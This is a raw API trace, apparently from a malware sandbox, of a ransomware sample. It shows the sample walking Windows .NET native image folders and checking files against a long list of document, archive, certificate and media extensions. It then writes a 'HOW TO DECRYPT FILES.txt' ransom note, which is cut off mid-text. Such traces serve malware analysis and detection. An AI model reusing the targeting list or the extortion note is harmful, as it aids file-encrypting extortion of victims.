(pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.jpg") returned 0 [0121.308] lstrlenA (lpString="*.jpg") returned 5 [0121.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.png") returned 0 [0121.308] lstrlenA (lpString="*.png") returned 5 [0121.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.php") returned 0 [0121.308] lstrlenA (lpString="*.php") returned 5 [0121.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.cs") returned 0 [0121.309] lstrlenA (lpString="*.cs") returned 4 [0121.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.cpp") returned 0 [0121.309] lstrlenA (lpString="*.cpp") returned 5 [0121.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.rar") returned 0 [0121.309] lstrlenA (lpString="*.rar") returned 5 [0121.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.zip") returned 0 [0121.309] lstrlenA (lpString="*.zip") returned 5 [0121.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.html") returned 0 [0121.309] lstrlenA (lpString="*.html") returned 6 [0121.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.htm") returned 0 [0121.309] lstrlenA (lpString="*.htm") returned 5 [0121.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.xlsx") returned 0 [0121.309] lstrlenA (lpString="*.xlsx") returned 6 [0121.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.xls") returned 0 [0121.309] lstrlenA (lpString="*.xls") returned 5 [0121.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.mp4") returned 0 [0121.309] lstrlenA (lpString="*.mp4") returned 5 [0121.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.ppt") returned 0 [0121.309] lstrlenA (lpString="*.ppt") returned 5 [0121.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.pptx") returned 0 [0121.309] lstrlenA (lpString="*.pptx") returned 6 [0121.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.doc") returned 0 [0121.309] lstrlenA (lpString="*.doc") returned 5 [0121.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.dot") returned 0 [0121.309] lstrlenA (lpString="*.dot") returned 5 [0121.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.docx") returned 0 [0121.310] lstrlenA (lpString="*.docx") returned 6 [0121.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.7z") returned 0 [0121.310] lstrlenA (lpString="*.7z") returned 4 [0121.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.tar") returned 0 [0121.310] lstrlenA (lpString="*.tar") returned 5 [0121.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.bz2") returned 0 [0121.310] lstrlenA (lpString="*.bz2") returned 5 [0121.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.gz") returned 0 [0121.310] lstrlenA (lpString="*.gz") returned 4 [0121.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.mkv") returned 0 [0121.310] lstrlenA (lpString="*.mkv") returned 5 [0121.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.eml") returned 0 [0121.310] lstrlenA (lpString="*.eml") returned 5 [0121.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.msg") returned 0 [0121.310] lstrlenA (lpString="*.msg") returned 5 [0121.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.edb") returned 0 [0121.311] lstrlenA (lpString="*.edb") returned 5 [0121.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.accdb") returned 0 [0121.311] lstrlenA (lpString="*.accdb") returned 7 [0121.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.odb") returned 0 [0121.311] lstrlenA (lpString="*.odb") returned 5 [0121.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.java") returned 0 [0121.311] lstrlenA (lpString="*.java") returned 6 [0121.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.asm") returned 0 [0121.311] lstrlenA (lpString="*.asm") returned 5 [0121.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.pfx") returned 0 [0121.311] lstrlenA (lpString="*.pfx") returned 5 [0121.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.pem") returned 0 [0121.311] lstrlenA (lpString="*.pem") returned 5 [0121.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.p12") returned 0 [0121.311] lstrlenA (lpString="*.p12") returned 5 [0121.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.gpg") returned 0 [0121.311] lstrlenA (lpString="*.gpg") returned 5 [0121.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.vsd") returned 0 [0121.311] lstrlenA (lpString="*.vsd") returned 5 [0121.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.odg") returned 0 [0121.311] lstrlenA (lpString="*.odg") returned 5 [0121.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.raw") returned 0 [0121.311] lstrlenA (lpString="*.raw") returned 5 [0121.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.nef") returned 0 [0121.312] lstrlenA (lpString="*.nef") returned 5 [0121.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.svg") returned 0 [0121.312] lstrlenA (lpString="*.svg") returned 5 [0121.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.psd") returned 0 [0121.312] lstrlenA (lpString="*.psd") returned 5 [0121.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.vmx") returned 0 [0121.312] lstrlenA (lpString="*.vmx") returned 5 [0121.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.vmdk") returned 0 [0121.312] lstrlenA (lpString="*.vmdk") returned 6 [0121.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.vdi") returned 0 [0121.312] lstrlenA (lpString="*.vdi") returned 5 [0121.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.lay6") returned 0 [0121.312] lstrlenA (lpString="*.lay6") returned 6 [0121.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.mpeg") returned 0 [0121.312] lstrlenA (lpString="*.mpeg") returned 6 [0121.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.djvu") returned 0 [0121.312] lstrlenA (lpString="*.djvu") returned 6 [0121.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.tiff") returned 0 [0121.312] lstrlenA (lpString="*.tiff") returned 6 [0121.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.backup") returned 0 [0121.312] lstrlenA (lpString="*.backup") returned 8 [0121.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.pdf") returned 0 [0121.312] lstrlenA (lpString="*.pdf") returned 5 [0121.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.cert") returned 0 [0121.312] lstrlenA (lpString="*.cert") returned 6 [0121.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.docm") returned 0 [0121.313] lstrlenA (lpString="*.docm") returned 6 [0121.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.xlsm") returned 0 [0121.313] lstrlenA (lpString="*.xlsm") returned 6 [0121.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.dwg") returned 0 [0121.313] lstrlenA (lpString="*.dwg") returned 5 [0121.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.nd") returned 0 [0121.313] lstrlenA (lpString="*.nd") returned 4 [0121.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.tlg") returned 0 [0121.313] lstrlenA (lpString="*.tlg") returned 5 [0121.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.lgb") returned 0 [0121.313] lstrlenA (lpString="*.lgb") returned 5 [0121.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.mov") returned 0 [0121.313] lstrlenA (lpString="*.mov") returned 5 [0121.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.xdw") returned 0 [0121.313] lstrlenA (lpString="*.xdw") returned 5 [0121.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.ods") returned 0 [0121.313] lstrlenA (lpString="*.ods") returned 5 [0121.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.wav") returned 0 [0121.313] lstrlenA (lpString="*.wav") returned 5 [0121.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.mp3") returned 0 [0121.313] lstrlenA (lpString="*.mp3") returned 5 [0121.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.aiff") returned 0 [0121.313] lstrlenA (lpString="*.aiff") returned 6 [0121.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.flac") returned 0 [0121.314] lstrlenA (lpString="*.flac") returned 6 [0121.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.m4a") returned 0 [0121.314] lstrlenA (lpString="*.m4a") returned 5 [0121.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll.aux", pszSpec="*.csv") returned 0 [0121.314] lstrlenA (lpString="*.csv") returned 5 [0121.314] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f84df50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x9f84df50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x9f84df50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0xf6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0121.314] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0121.314] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f801c90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x9f84df50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x9f84df50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0371737a900d7e56cc065700948f6ff3", cAlternateFileName="037173~1")) returned 0 [0121.314] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0121.314] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabdb9ff0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xabde0150, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xabde0150, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Speech", cAlternateFileName="SYSTEM~1.SPE")) returned 1 [0121.314] lstrcmpA (lpString1=".", lpString2="System.Speech") returned -1 [0121.314] lstrcmpA (lpString1="..", lpString2="System.Speech") returned -1 [0121.314] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0121.314] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Speech" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech" [0121.314] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech") returned 60 [0121.314] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabdb9ff0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xabde0150, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xabde0150, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0121.317] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0121.317] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabdb9ff0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xabde0150, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xabde0150, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.317] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0121.317] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0121.317] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabde0150, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xabde0150, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xabde0150, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="771a6f50093c39f0417eaf26bfb7deef", cAlternateFileName="771A6F~1")) returned 1 [0121.317] lstrcmpA (lpString1=".", lpString2="771a6f50093c39f0417eaf26bfb7deef") returned -1 [0121.317] lstrcmpA (lpString1="..", lpString2="771a6f50093c39f0417eaf26bfb7deef") returned -1 [0121.317] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\*.*") returned="*.*" [0121.317] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\", lpString2="771a6f50093c39f0417eaf26bfb7deef" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef" [0121.317] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef") returned 93 [0121.317] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabde0150, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xabde0150, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xabde0150, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0121.317] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0121.317] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabde0150, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xabde0150, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xabde0150, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.317] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0121.318] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0121.318] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabdb9ff0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xabdb9ff0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xabde0150, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x251000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Speech.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0121.318] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0121.318] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Speech.ni.dll") returned -1 [0121.318] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Speech.ni.dll") returned -1 [0121.318] lstrcmpiA (lpString1="", lpString2="System.Speech.ni.dll") returned -1 [0121.318] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\*.*") returned="*.*" [0121.318] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\" [0121.318] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\") returned="" [0121.318] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\HOW TO DECRYPT FILES.txt" [0121.318] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.speech\\771a6f50093c39f0417eaf26bfb7deef\\how to decrypt files.txt")) returned 0xffffffff [0121.318] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.speech\\771a6f50093c39f0417eaf26bfb7deef\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0121.322] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files 